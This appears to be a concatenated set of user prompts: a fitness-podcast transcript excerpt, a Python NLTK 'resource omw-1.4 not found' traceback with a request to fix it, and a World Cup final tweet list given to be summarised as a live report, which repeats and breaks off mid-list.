you're not really actually acting on that your adrenal system is the one that you need to be looking at optimal you hydration all that sort of stuff it's just such a good\n- [03:18](https://www.youtube.com/watch?v=t-ezOLT2Kv0&t=198s) way to start the day so okay we've got um 90 minutes deep what have you been doing in that you've had your light in the eyes what have you been doing between that and the yerba mata in 90 minutes i do everything i can to not do email not do social media and to take care of a few critical tasks these days i'm i have this obsession with trying to do one cognitively hard thing a day one and one physically hard thing a day now does it not extreme physical not david goggins level workouts or anything but\n- [03:50](https://www.youtube.com/watch?v=t-ezOLT2Kv0&t=230s) um in that 90 minutes i'll typically try and read a research article start to finish or i'll work on a document that i might be doing a grant or research paper or planning a podcast or researching a podcast i try and get my brain into kind of a linear mode i try and narrow that aperture so i don't the distraction that's created by social media and interactions with others can kind of wick out into the rest of the day so i'm not necessarily trying to finish something in that time but i try and do something\n- [04:18](https://www.youtube.com/watch?v=t-ezOLT2Kv0&t=258s) challenging i experience great pleasure from battling through something mentally challenging but that's something that i built up since my university years when i was about you know 19 or so got serious about school and really started to experience the the deep pleasure of like i figured that out or like that was really tough i don't always succeed but that's what i'm doing in that hour to 90 minutes but i confess sometimes we'll take a walk during that time and maybe talk through some things that are\n- [04:47](https://www.youtube.com/watch?v=t-ezOLT2Kv0&t=287s) that are challenging you know or sometimes i get lazy and and i'll miss a day of that cognitive challenge then i do caffeine about 90 to 120 minutes after waking and even though i prefer to work out earlier i generally will then do some sort of physical workout i have a very consistent routine i've done over 30 years where i weight train for 45 or minutes to an hour every other day and occasionally i take an extra day off and occasionally due to travel or other commitments i'll occasionally double up\n- [05:19](https://www.youtube.com/watch?v=t-ezOLT2Kv0&t=319s) two days and then take two days off yep so it's really boring you know talk about workout schedules but it's really simple it's like you know i'll do a uh kind of pushing day rest pulling day upper body push up rest upper body pull rest and then legs take two days off something like that are you doing on the off days are you doing some sort of zone three always jogging or skipping rope those are my favorite forms of cardio sometimes swimming but typically i'll go running for 30 to 45 minutes or if i'm\n- [05:52](https://www.youtube.com/watch?v=t-ezOLT2Kv0&t=352s) feeling a little bit lazier because i always find the high intensity stuff to be easier than the long drawn out stuff i'll sometimes throw on a weight vest a 30 or 50 pound weight vest and i'll go out for a shorter run or i'll i'm a big fan of knees over toes ben patrick i know you had him oh yeah great we were down in costa rica with him and his wife who had the best time and learned so much um i'll occasionally um do a backwards you know he'll walk um or throw on the weight vest for that um\n- [06:18](https://www.youtube.com/watch?v=t-ezOLT2Kv0&t=378s) we sometimes will get bands and we'll so there's a great way to combine this we will sometimes get two people in one of these thick bands do hill walks in the morning while getting our sunlight yeah but that i don't really consider a workout i consider that just kind of rehabilitate as a movement so on the off days i'm doing cardio and sometimes that's the morning sometimes that's in the evening i do not like to wait training on the second half of the day because i like to be really caffeinated\n- [06:40](https://www.youtube.com/watch?v=t-ezOLT2Kv0&t=400s) when i train i like to listen to loud fast music most of the time not always i keep my phone out or off of for most workouts podcasts maybe if i'm running but i really try hard when i'm working out to just focus on the workout and those workouts the weight training workouts are always 10 minutes or so of warm up and then no more than 40 to 50 minutes of really hard work if i do train hard any longer i don't recover enough to be able to come in a few days later and when i train that way i generally make\n- [07:11](https://www.youtube.com/watch?v=t-ezOLT2Kv0&t=431s) pretty consistent progress and you're taking yourself up until what's up probably maybe 10 30 11 a.m something like that yeah and then i'll eat my first real meal now occasionally i'll wake up really hungry if i didn't eat that well the night before but typically the after i train i yeah i'll eat i like oatmeal after i train oatmeal fruit some fish oil protein drink and then maybe 90 to 120 minutes after that i'll have a real lunch my lunch is pretty much the biggest meal of the day if i have my way\n- [07:38](https://www.youtube.com/watch?v=t-ezOLT2Kv0&t=458s) it'll be a steak a salad maybe a little more starch although i sort of got it earlier um brazil nuts and that meal sometimes can extend longer than life i love being a feeding tube i love to eat yeah so i'll eat and then i confess i usually will work a little bit more for about 30 minutes or an hour typically email and then i'll take a um 10 to 30 minute yoga nidra nap or a nap and then come back refreshed um i really struggle with the naps when i come back after that and my emotions are all over the place i'm disoriented\n- [08:10](https://www.youtube.com/watch?v=t-ezOLT2Kv0&t=490s) maybe it's because i struggle to fall asleep super quickly and therefore i'm extending that period out for a little bit longer than i need i probably need to try the yoga nidra thing but for me it's i'm absolutely all over if i do that i wake up and i don't know what day it is and my emotions always feel a little bit out of whack as well i wake up grumpy from naps sometimes i'm told okay there are a few times when i've woken up just really angry i have no idea what that's about i don't know any of the\n- [08:34](https://www.youtube.com/watch?v=t-ezOLT2Kv0&t=514s) neurochemistry associated with that sometimes i wake up from naps it's really pleasant i'll occasionally do if the nap is early enough in the day afterwards i'll have a you know a nice double espresso and get back into work that's the hardest part of the day actually if i was well structured in the early part of the day it's that 2 or 3 p.\n- [08:52](https://www.youtube.com/watch?v=t-ezOLT2Kv0&t=532s) m the key is then to try and get something really useful done cognitively again so some people might look at this and say wait you're working for an hour in the morning and 30 minutes here and an hour in the afternoon when are you actually working but it's really about the depth of the trench when you're working and so if i'm gonna drop into something again for a few hours in the afternoon i'm really going to drop into it and that's typically phone off and out of the room and my goal is to get to the evening time so that i can do the things\n- [09:16](https://www.youtube.com/watch?v=t-ezOLT2Kv0&t=556s) that i want what's happening people if you enjoyed that then press here for the full unedited episode and don't forget to subscribe peace" +'---------------------------------------------------------------------------\nLookupError Traceback (most recent call last)\n~\\Anaconda3\\lib\\site-packages\\nltk\\corpus\\util.py in \\_\\_load(self)\n 83 try:\n---> 84 root = nltk.data.find(f"{self.subdir}/{zip\\_name}")\n 85 except LookupError:\n\n~\\Anaconda3\\lib\\site-packages\\nltk\\data.py in find(resource\\_name, paths)\n 582 resource\\_not\\_found = f"\\n{sep}\\n{msg}\\n{sep}\\n"\n--> 583 raise LookupError(resource\\_not\\_found)\n 584 \n\nLookupError: \n\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\n Resource omw-1.4 not found.\n Please use the NLTK Downloader to obtain the resource:\n\n >>> import nltk\n >>> nltk.download(\'omw-1.4\')\n \n For more information see: https://www.nltk.org/data.html\n\n Attempted to load corpora/omw-1.4.zip/omw-1.4/\n\n Searched in:\n - \'C:\\\\Users\\\\rockr/nltk\\_data\'\n - \'C:\\\\Users\\\\rockr\\\\Anaconda3\\\\nltk\\_data\'\n - \'C:\\\\Users\\\\rockr\\\\Anaconda3\\\\share\\\\nltk\\_data\'\n - \'C:\\\\Users\\\\rockr\\\\Anaconda3\\\\lib\\\\nltk\\_data\'\n - \'C:\\\\Users\\\\rockr\\\\AppData\\\\Roaming\\\\nltk\\_data\'\n - \'C:\\\\nltk\\_data\'\n - \'D:\\\\nltk\\_data\'\n - \'E:\\\\nltk\\_data\'\n\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\nDuring handling of the above exception, another exception occurred:\n\nLookupError Traceback (most recent call last)\n~\\AppData\\Local\\Temp\\ipykernel\\_9724\\3827873343.py in \n 41 \n 42 # Preprocess train and test text data\n---> 43 train\\_df[\'text\'] = train\\_df[\'text\'].apply(preprocess\\_text)\n 44 test\\_df[\'text\'] = test\\_df[\'text\'].apply(preprocess\\_text)\n 45 \n\n~\\Anaconda3\\lib\\site-packages\\pandas\\core\\series.py in apply(self, func, convert\\_dtype, args, \\*\\*kwargs)\n 4431 dtype: float64\n 4432 """\n-> 4433 return SeriesApply(self, func, convert\\_dtype, args, kwargs).apply()\n 4434 \n 4435 def \\_reduce(\n\n~\\Anaconda3\\lib\\site-packages\\pandas\\core\\apply.py in apply(self)\n 1086 return self.apply\\_str()\n 1087 \n-> 1088 return self.apply\\_standard()\n 1089 \n 1090 def agg(self):\n\n~\\Anaconda3\\lib\\site-packages\\pandas\\core\\apply.py in apply\\_standard(self)\n 1141 # List[Union[Callable[..., Any], str]]]]]"; expected\n 1142 # "Callable[[Any], Any]"\n-> 1143 mapped = lib.map\\_infer(\n 1144 values,\n 1145 f, # type: ignore[arg-type]\n\n~\\Anaconda3\\lib\\site-packages\\pandas\\\\_libs\\lib.pyx in pandas.\\_libs.lib.map\\_infer()\n\n~\\AppData\\Local\\Temp\\ipykernel\\_9724\\3827873343.py in preprocess\\_text(text)\n 35 # Lemmatize\n 36 lemmatizer = WordNetLemmatizer()\n---> 37 tokens = [lemmatizer.lemmatize(token) for token in tokens]\n 38 # Join tokens back into a string\n 39 text = \' \'.join(tokens)\n\n~\\AppData\\Local\\Temp\\ipykernel\\_9724\\3827873343.py in (.0)\n 35 # Lemmatize\n 36 lemmatizer = WordNetLemmatizer()\n---> 37 tokens = [lemmatizer.lemmatize(token) for token in tokens]\n 38 # Join tokens back into a string\n 39 text = \' \'.join(tokens)\n\n~\\Anaconda3\\lib\\site-packages\\nltk\\stem\\wordnet.py in lemmatize(self, word, pos)\n 43 :return: The lemma of `word`, for the given `pos`.\n 44 """\n---> 45 lemmas = wn.\\_morphy(word, pos)\n 46 return min(lemmas, key=len) if lemmas else word\n 47 \n\n~\\Anaconda3\\lib\\site-packages\\nltk\\corpus\\util.py in \\_\\_getattr\\_\\_(self, attr)\n 119 raise AttributeError("LazyCorpusLoader object has no attribute \'\\_\\_bases\\_\\_\'")\n 120 \n--> 121 self.\\_\\_load()\n 122 # This looks circular, but its not, since \\_\\_load() changes our\n 123 # \\_\\_class\\_\\_ to something new:\n\n~\\Anaconda3\\lib\\site-packages\\nltk\\corpus\\util.py in \\_\\_load(self)\n 87 \n 88 # Load the corpus.\n---> 89 corpus = self.\\_\\_reader\\_cls(root, \\*self.\\_\\_args, \\*\\*self.\\_\\_kwargs)\n 90 \n 91 # This is where the magic happens! Transform ourselves into\n\n~\\Anaconda3\\lib\\site-packages\\nltk\\corpus\\reader\\wordnet.py in \\_\\_init\\_\\_(self, root, omw\\_reader)\n 1174 )\n 1175 else:\n-> 1176 self.provenances = self.omw\\_prov()\n 1177 \n 1178 # A cache to store the wordnet data of multiple languages\n\n~\\Anaconda3\\lib\\site-packages\\nltk\\corpus\\reader\\wordnet.py in omw\\_prov(self)\n 1283 provdict = {}\n 1284 provdict["eng"] = ""\n-> 1285 fileids = self.\\_omw\\_reader.fileids()\n 1286 for fileid in fileids:\n 1287 prov, langfile = os.path.split(fileid)\n\n~\\Anaconda3\\lib\\site-packages\\nltk\\corpus\\util.py in \\_\\_getattr\\_\\_(self, attr)\n 119 raise AttributeError("LazyCorpusLoader object has no attribute \'\\_\\_bases\\_\\_\'")\n 120 \n--> 121 self.\\_\\_load()\n 122 # This looks circular, but its not, since \\_\\_load() changes our\n 123 # \\_\\_class\\_\\_ to something new:\n\n~\\Anaconda3\\lib\\site-packages\\nltk\\corpus\\util.py in \\_\\_load(self)\n 84 root = nltk.data.find(f"{self.subdir}/{zip\\_name}")\n 85 except LookupError:\n---> 86 raise e\n 87 \n 88 # Load the corpus.\n\n~\\Anaconda3\\lib\\site-packages\\nltk\\corpus\\util.py in \\_\\_load(self)\n 79 else:\n 80 try:\n---> 81 root = nltk.data.find(f"{self.subdir}/{self.\\_\\_name}")\n 82 except LookupError as e:\n 83 try:\n\n~\\Anaconda3\\lib\\site-packages\\nltk\\data.py in find(resource\\_name, paths)\n 581 sep = "\\*" \\* 70\n 582 resource\\_not\\_found = f"\\n{sep}\\n{msg}\\n{sep}\\n"\n--> 583 raise LookupError(resource\\_not\\_found)\n 584 \n 585 \n\nLookupError: \n\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\n Resource omw-1.4 not found.\n Please use the NLTK Downloader to obtain the resource:\n\n >>> import nltk\n >>> nltk.download(\'omw-1.4\')\n \n For more information see: https://www.nltk.org/data.html\n\n Attempted to load corpora/omw-1.4\n\n Searched in:\n - \'C:\\\\Users\\\\rockr/nltk\\_data\'\n - \'C:\\\\Users\\\\rockr\\\\Anaconda3\\\\nltk\\_data\'\n - \'C:\\\\Users\\\\rockr\\\\Anaconda3\\\\share\\\\nltk\\_data\'\n - \'C:\\\\Users\\\\rockr\\\\Anaconda3\\\\lib\\\\nltk\\_data\'\n - \'C:\\\\Users\\\\rockr\\\\AppData\\\\Roaming\\\\nltk\\_data\'\n - \'C:\\\\nltk\\_data\'\n - \'D:\\\\nltk\\_data\'\n - \'E:\\\\nltk\\_data\'\n\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\nplease fix this error' +'Describe as reporting live a current event in 3 lines, what is happening right now using the following tweets :\n\nsourceText Time\nSublime team goal from Argentina that #FIFAWorldCup #ArgentinaVsFrance 15:36:49.0000000\nTotal domination ???? What a great team goal #WorldCupFinal 15:36:16.0000000\nWhat a goal, what a team, France Over and Out 15:36:21.0000000\nWhat a beautiful team goal by Argentina #WorldCupFinal 15:36:09.0000000\nWHAT A TEAM GOAL BY ARGENTINA! 2-0! ???? #FIFAWorldCup 15:36:21.0000000\nUnbelievable team goal that from Argentina ???? 15:36:04.0000000\nSimply brilliant from Argentina.\'Superb team goal ???????? 15:36:30.0000000\nFantastic team goal from Argentina ???? 15:36:27.0000000\nGreat team goal by #Argentina. Those tears you were talking about @piersmorgan , are they yours? #ArgentinaVsFrance 2-0 15:36:50.0000000\nARGENTINA. What an absolute team goal that was. Great finish! 15:36:43.0000000\nGreat team goal. France are flopping big time here 15:36:55.0000000\nWHAT A TEAM GOAL FROM ARGENTINA 15:36:09.0000000\nGreat team goal. France have been proper shit. 15:36:23.0000000\nWhat a team goal France never just got going in this match #FIFAWorldCup 15:36:48.0000000\nMy word is Argentina bossing this! What a team goal! 15:36:56.0000000\nBeautiful team goal Argentina ???? 15:36:21.0000000\n@la5ty That was a sick goal great team work they are all over France 15:36:59.0000000\nWhat a lovely Team Goal!! Argentina FULLY deserve this handsome lead btw. France are in the mud. ?????????? #ARGFRA #FIFAWorldCup 15:36:57.0000000\nThat\'s the goal of the tournament by team wow #ArgentinaVsFrance 15:36:29.0000000\nArgentina with the best team goal of the tournament 15:36:35.0000000\nBrilliant team goal. Argentina running away with it. 15:36:08.0000000\nUnbelievably good team goal that. France torn apart. 15:36:02.0000000\nNow that was some team goal by #arg . #ArgentinaVsFrance 15:36:15.0000000\nThat was a lovely team goal. #ArgentinaVsFrance 15:36:50.0000000\nHoly fuck the Argentina team is on fire. They\'re taking this world cup easily. Even the penalty goal was well deserved. 15:36:52.0000000\nThat’s a serious team goal wow ?? #ArgentinaVsFrance 15:36:36.0000000\nWHAT A TEAM GOAL\'\'lets go there #FIFAWorldCup \'#FIFAWorldCupFinal \'#ArgentinaVsFrance 15:36:37.0000000\nBeautiful team goal worthy of the finals #WorldCup \'Argentina deserves to win this better team all game 15:36:57.0000000\nWhat a team goal wooow\'\'Argentina don\'t fumble please 15:36:37.0000000\nOne pass from Messi and he dismantles the France defense to help his team set up the second goal ????? 15:36:52.0000000\nWhat a sublime team goal , Goal Argentina 15:36:35.0000000\nGood team Goal..#ArgentinaVsFrance 15:36:16.0000000\nI have to say what a goal from Argentina. Brilliant team goal. 15:36:09.0000000\nQuality team goal... #FIFAWorldCupFinal #FIFAWorldCup 15:36:33.0000000\nNo mistake this time. #DiMaria scores a well worked goal from #Argentina. Excellent team effort. \'\'#Argentina 2-0 #France. #WorldCupFinal 15:36:38.0000000\nDi Maria has been excellent in the first half. What a great team goal by Argentina!! 15:36:51.0000000\nWHAT A FUCKING TEAM GOAL!!! VAMOS ARGENTINA CARAJO!! #FIFAWorldCup 15:36:59.0000000\nIncredible team goal involving Messi and Mac Allister. 2-0 to Argentina. 15:36:52.0000000\nWhat a team goal. ???? #WorldCup #ArgentinaVsFrance 15:36:41.0000000\n“Soft penalty”, soft second goal, soft boys - everything soft!!! Go team Argentina!!! 15:36:26.0000000\nSpectacular team goal. Wow. #WorldCupFinal 15:36:32.0000000\nWhat a great team goal by Argentina ?? 15:36:49.0000000\nArgentina ripping the French a new one here!!! France still in the changing room!! Great team goal that… 15:36:49.0000000\nWHAT A TEAM GOAL ARGENTINA!!!!! 15:36:33.0000000\nThat was fucking fantastic by Argentina! What a team goal that was! 15:36:08.0000000\nWhat a fucking team goal #ArgentinaVsFrance #FIFAWorldCup 15:36:28.0000000\nWhat a team goal from Argentina ???????????? 15:36:09.0000000\nFirst goal was never a pen but second was great team goal.. France look poor... Where\'s Mbappe? 15:36:54.0000000\nFantastic team goal by Argentina ???? 15:36:53.0000000\nWhat an incredible team goal!!!! Only one team in this #ArgentinaVsFrance #WorldCupFinal #FIFAWorldCup ???? 15:36:58.0000000\nThat was art from Argentina. What a team goal. 15:36:29.0000000\nwhat a dam good goal what a team goal #ARGFRA 15:36:20.0000000\nBest team goal so far. \'#Argentina #WorldCup 15:36:31.0000000\nTWO NIL TO ARGENTINA IN THE WORLD CUP FINAL WHAT A BALL WHAT A TEAM GOAL MAGNIFICENT 15:36:44.0000000\n2-0 2-0 2-0 2-0 MESSI IS WINNING IT ARGENTINA IS WINNING IT WHAT A TEAM GOAL 15:36:21.0000000\nWhat a goal by Argentina...excellent goal. Proper team work. 15:36:12.0000000\nThat’s a fucking amazing goal team goal of the tournament #ArgentinaVsFrance 15:36:02.0000000\nFantastic team goal by ARGENTINA #FIFAWorldCup #ArgentinaVsFrance 15:36:55.0000000\nGreat team goal that #ArgentinaVsFrance 15:36:18.0000000\nBeautiful fucken second goal by Argentina hahahaha omg that was a team goal 15:36:57.0000000\nBeautiful team goal for Argentina. Messi gets ?? tonight. 15:36:37.0000000\nWow! What a team goal by Argentina! Wow! 15:36:11.0000000\nThe French team ain\'t playing like this is a final. No attempt on goal for 35min #ArgentinaVsFrance #FIFAWorldCup 15:35:54.0000000\nAn absolutely sensational counter attack from Argentina. What a team goal. 15:36:24.0000000\nBrilliant team goal from Argentina! 15:36:17.0000000\nSouthgate should of beaten this France team... Embrassing that journos though lossing by 1 goal to them was a "good result". 15:36:54.0000000\nNo attempt on goal. No shot on target. Yet unuh a talk bout ref. The ref fi play pon France team give them a extra player? 15:35:14.0000000\nBrilliant team goal…. Bwoy France it’s not looking good bruv 15:36:52.0000000\nAngel Fucking Di Maria????????????\'Oh my God\'This is absolutely beautiful \'#ArgentinaVsFrance #FIFAWorldCup \'Goal of the tournament in terms of team work 15:36:28.0000000\nUnreal team goal ?? #ARGFRA 15:35:55.0000000\nHe deserved that goal! What a team run! #ARGFRA #WorldCupFinal 15:36:52.0000000\nUnbelievable team goal #WorldCupFinal 15:36:26.0000000\nLionel Messi is now the first man to: \'\'• Play 26 games at the World Cup \'\'• Score in all rounds of a 32-team World Cup \'\'• First player to have 20 goal involvements\'\'• Equaled Pele’s record of 12 goals in five World Cups https://t.co/hxbhk80O6N 15:36:13.0000000\n#ARG IS PLAYING LIKE A TEAM POSSESSED! WHAT A GOAL!!!!! #ARGFRA #FIFAWorldCup 15:36:50.0000000\nIncredible team goal #ArgentinaVsFrance 15:36:04.0000000\nBrilliant team goal 2-0 Argentina 15:36:08.0000000\nFabulous team goal #WorldCupFinal 15:36:36.0000000\nSecond goal by Argentina...this French team no ready at all 15:36:38.0000000\nNah shoutout to Argentina, what a team goal. Wow 15:36:31.0000000\nWhat a goal by Argentina. Best team goal all tournament 15:36:32.0000000\nArgentina is all class today. What a team goal! 15:36:36.0000000\nThat was just a beautiful team goal for Argentina’s 2nd 15:35:56.0000000\nFrance with 0 attempts on goal after 35mins. I never expected that. They\'ve usually gotten the 1st goal before sitting back and hitting on the break. 2-0 down and looking like a team with no fight in them #ARGFRA #FIFAWorldCup 15:36:50.0000000\n@mr\\_ntim Argentina the better team so far. They can score second goal anytime 15:34:15.0000000\n#FIFAWorldCup | Lionel Messi scores first goal for the team. Argentina 1-0 against France https://t.co/YbT5G13mR5 15:35:50.0000000\nFrance is getting sliced and diced. What a freaking team goal from #ARG. 15:36:51.0000000\nE be like this France team no chop come field...35 mins and no single attempt on goal.... 15:35:44.0000000\nBrilliant team goal that, good finish by Di Maria! Argentina all over France here 15:36:40.0000000\nWhat a team goal from Argentina. Right attitude and set-up from the first second. 15:36:58.0000000\nAmazing team goal. Fully deserved btw they’ve been class. France look defeated already 15:36:48.0000000\nAu Revoir France! My word what a team goal. #FIFAWorldCup https://t.co/U67QNIHAQm 15:36:54.0000000\nWhat a goal ????\'France second best team 3 games in a row 15:36:18.0000000\nThat was an excellent team goal, Argentina 2 - France 0 #ARGFRA 15:36:12.0000000\nWHAT A TEAM GOAL! Argentina have battered these French twats 15:36:42.0000000\nThat, is the best team goal of the World Cup. #WorldCupFinal 15:36:33.0000000\nArgentina 2nd goal ??\'What a team work ?????? 15:36:48.0000000\nGOAL Argentina 2-0 France Di Maria, wonderful team goal #ARGFRA #FIFAWorldCup 15:36:06.0000000\nargentina 2 -0. wonderful, wonderful team goal 15:36:37.0000000\nIs a 2–0 lead after 35 minutes deserved? Without a shadow of a doubt. Outstanding team goal #ARGFRA 15:36:23.0000000\nThat was a good team goal Argentina ???????? 15:36:59.0000000' +'Describe as reporting live a current event in 3 lines, what is happening right now using the following tweets :\n\nsourceText Time\nSublime team goal from Argentina that #FIFAWorldCup #ArgentinaVsFrance 15:36:49.0000000\nTotal domination ???? What a great team goal #WorldCupFinal 15:36:16.0000000\nWhat a goal, what a team, France Over and Out 15:36:21.0000000\nWhat a beautiful team goal by Argentina #WorldCupFinal 15:36:09.0000000\nWHAT A TEAM GOAL BY ARGENTINA! 2-0! ???? #FIFAWorldCup 15:36:21.0000000\nUnbelievable team goal that from Argentina ???? 15:36:04.0000000\nSimply brilliant from Argentina.\'Superb team goal ???????? 15:36:30.0000000\nFantastic team goal from Argentina ???? 15:36:27.0000000\nGreat team goal by #Argentina. Those tears you were talking about @piersmorgan , are they yours? #ArgentinaVsFrance 2-0 15:36:50.0000000\nARGENTINA. What an absolute team goal that was. Great finish! 15:36:43.0000000\nGreat team goal. France are flopping big time here 15:36:55.0000000\nWHAT A TEAM GOAL FROM ARGENTINA 15:36:09.0000000\nGreat team goal. France have been proper shit. 15:36:23.0000000\nWhat a team goal France never just got going in this match #FIFAWorldCup 15:36:48.0000000\nMy word is Argentina bossing this! What a team goal! 15:36:56.0000000\nBeautiful team goal Argentina ???? 15:36:21.0000000\n@la5ty That was a sick goal great team work they are all over France 15:36:59.0000000\nWhat a lovely Team Goal!! Argentina FULLY deserve this handsome lead btw. France are in the mud. ?????????? #ARGFRA #FIFAWorldCup 15:36:57.0000000\nThat\'s the goal of the tournament by team wow #ArgentinaVsFrance 15:36:29.0000000\nArgentina with the best team goal of the tournament 15:36:35.0000000\nBrilliant team goal. Argentina running away with it. 15:36:08.0000000\nUnbelievably good team goal that. France torn apart. 15:36:02.0000000\nNow that was some team goal by #arg . #ArgentinaVsFrance 15:36:15.0000000\nThat was a lovely team goal. #ArgentinaVsFrance 15:36:50.0000000\nHoly fuck the Argentina team is on fire. They\'re taking this world cup easily. Even the penalty goal was well deserved. 15:36:52.0000000\nThat’s a serious team goal wow ?? #ArgentinaVsFrance 15:36:36.0000000\nWHAT A TEAM GOAL\'\'lets go there #FIFAWorldCup \'#FIFAWorldCupFinal \'#ArgentinaVsFrance 15:36:37.0000000\nBeautiful team goal worthy of the finals #WorldCup \'Argentina deserves to win this better team all game 15:36:57.0000000\nWhat a team goal wooow\'\'Argentina don\'t fumble please 15:36:37.0000000\nOne pass from Messi and he dismantles the France defense to help his team set up the second goal ????? 15:36:52.0000000\nWhat a sublime team goal , Goal Argentina 15:36:35.0000000\nGood team Goal..#ArgentinaVsFrance 15:36:16.0000000\nI have to say what a goal from Argentina. Brilliant team goal. 15:36:09.0000000\nQuality team goal... #FIFAWorldCupFinal #FIFAWorldCup 15:36:33.0000000\nNo mistake this time. #DiMaria scores a well worked goal from #Argentina. Excellent team effort. \'\'#Argentina 2-0 #France. #WorldCupFinal 15:36:38.0000000\nDi Maria has been excellent in the first half. What a great team goal by Argentina!! 15:36:51.0000000\nWHAT A FUCKING TEAM GOAL!!! VAMOS ARGENTINA CARAJO!! #FIFAWorldCup 15:36:59.0000000\nIncredible team goal involving Messi and Mac Allister. 2-0 to Argentina. 15:36:52.0000000\nWhat a team goal. ???? #WorldCup #ArgentinaVsFrance 15:36:41.0000000\n“Soft penalty”, soft second goal, soft boys - everything soft!!! Go team Argentina!!! 15:36:26.0000000\nSpectacular team goal. Wow. #WorldCupFinal 15:36:32.0000000\nWhat a great team goal by Argentina ?? 15:36:49.0000000\nArgentina ripping the French a new one here!!! France still in the changing room!! Great team goal that… 15:36:49.0000000\nWHAT A TEAM GOAL ARGENTINA!!!!! 15:36:33.0000000\nThat was fucking fantastic by Argentina! What a team goal that was! 15:36:08.0000000\nWhat a fucking team goal #ArgentinaVsFrance #FIFAWorldCup 15:36:28.0000000\nWhat a team goal from Argentina ???????????? 15:36:09.0000000\nFirst goal was never a pen but second was great team goal.. France look poor... Where\'s Mbappe? 15:36:54.0000000\nFantastic team goal by Argentina ???? 15:36:53.0000000\nWhat an incredible team goal!!!! Only one team in this #ArgentinaVsFrance #WorldCupFinal #FIFAWorldCup ???? 15:36:58.0000000\nThat was art from Argentina. What a team goal. 15:36:29.0000000\nwhat a dam good goal what a team goal #ARGFRA 15:36:20.0000000\nBest team goal so far. \'#Argentina #WorldCup 15:36:31.0000000\nTWO NIL TO ARGENTINA IN THE WORLD CUP FINAL WHAT A BALL WHAT A TEAM GOAL MAGNIFICENT 15:36:44.0000000\n2-0 2-0 2-0 2-0 MESSI IS WINNING IT ARGENTINA IS WINNING IT WHAT A TEAM GOAL 15:36:21.0000000\nWhat a goal by Argentina...excellent goal. Proper team work. 15:36:12.0000000\nThat’s a fucking amazing goal team goal of the tournament #ArgentinaVsFrance 15:36:02.0000000\nFantastic team goal by ARGENTINA #FIFAWorldCup #ArgentinaVsFrance 15:36:55.0000000\nGreat team goal that #ArgentinaVsFrance 15:36:18.0000000\nBeautiful fucken second goal by Argentina hahahaha omg that was a team goal 15:36:57.0000000\nBeautiful team goal for Argentina. Messi gets ?? tonight. 15:36:37.0000000\nWow! What a team goal by Argentina! Wow! 15:36:11.0000000\nThe French team ain\'t playing like this is a final. No attempt on goal for 35min #ArgentinaVsFrance #FIFAWorldCup 15:35:54.0000000\nAn absolutely sensational counter attack from Argentina. What a team goal. 15:36:24.0000000\nBrilliant team goal from Argentina! 15:36:17.0000000\nSouthgate should of beaten this France team... Embrassing that journos though lossing by 1 goal to them was a "good result". 15:36:54.0000000\nNo attempt on goal. No shot on target. Yet unuh a talk bout ref. The ref fi play pon France team give them a extra player? 15:35:14.0000000\nBrilliant team goal…. Bwoy France it’s not looking good bruv 15:36:52.0000000\nAngel Fucking Di Maria????????????\'Oh my God\'This is absolutely beautiful \'#ArgentinaVsFrance #FIFAWorldCup \'Goal of the tournament in terms of team work 15:36:28.0000000\nUnreal team goal ?? #ARGFRA 15:35:55.0000000\nHe deserved that goal! What a team run! #ARGFRA #WorldCupFinal 15:36:52.0000000\nUnbelievable team goal #WorldCupFinal 15:36:26.0000000\nLionel Messi is now the first man to: \'\'• Play 26 games at the World Cup \'\'• Score in all rounds of a 32-team World Cup \'\'• First player to have 20 goal involvements\'\'• Equaled Pele’s record of 12 goals in five World Cups https://t.co/hxbhk80O6N 15:36:13.0000000\n#ARG IS PLAYING LIKE A TEAM POSSESSED! WHAT A GOAL!!!!! #ARGFRA #FIFAWorldCup 15:36:50.0000000\nIncredible team goal #ArgentinaVsFrance 15:36:04.0000000\nBrilliant team goal 2-0 Argentina 15:36:08.0000000\nFabulous team goal #WorldCupFinal 15:36:36.0000000\nSecond goal by Argentina...this French team no ready at all 15:36:38.0000000\nNah shoutout to Argentina, what a team goal. Wow 15:36:31.0000000\nWhat a goal by Argentina. Best team goal all tournament 15:36:32.0000000\nArgentina is all class today. What a team goal! 15:36:36.0000000\nThat was just a beautiful team goal for Argentina’s 2nd 15:35:56.0000000\nFrance with 0 attempts on goal after 35mins. I never expected that. They\'ve usually gotten the 1st goal before sitting back and hitting on the break. 2-0 down and looking like a team with no fight in them #ARGFRA #FIFAWorldCup 15:36:50.0000000\n@mr\\_ntim Argentina the better team so far. They can score second goal anytime 15:34:15.0000000\n#FIFAWorldCup | Lionel Messi scores first goal for the team. Argentina 1-0 against France https://t.co/YbT5G13mR5 15:35:50.0000000\nFrance is getting sliced and diced. What a freaking team goal from #ARG. 15:36:51.0000000\nE be like this France team no chop come field...35 mins and no single attempt on goal.... 15:35:44.0000000\nBrilliant team goal that, good finish by Di Maria! Argentina all over France here 15:36:40.0000000\nWhat a team goal from Argentina. Right attitude and set-up from the first second. 15:36:58.0000000\nAmazing team goal. Fully deserved btw they’ve been class. France look defeated already 15:36:48.0000000\nAu 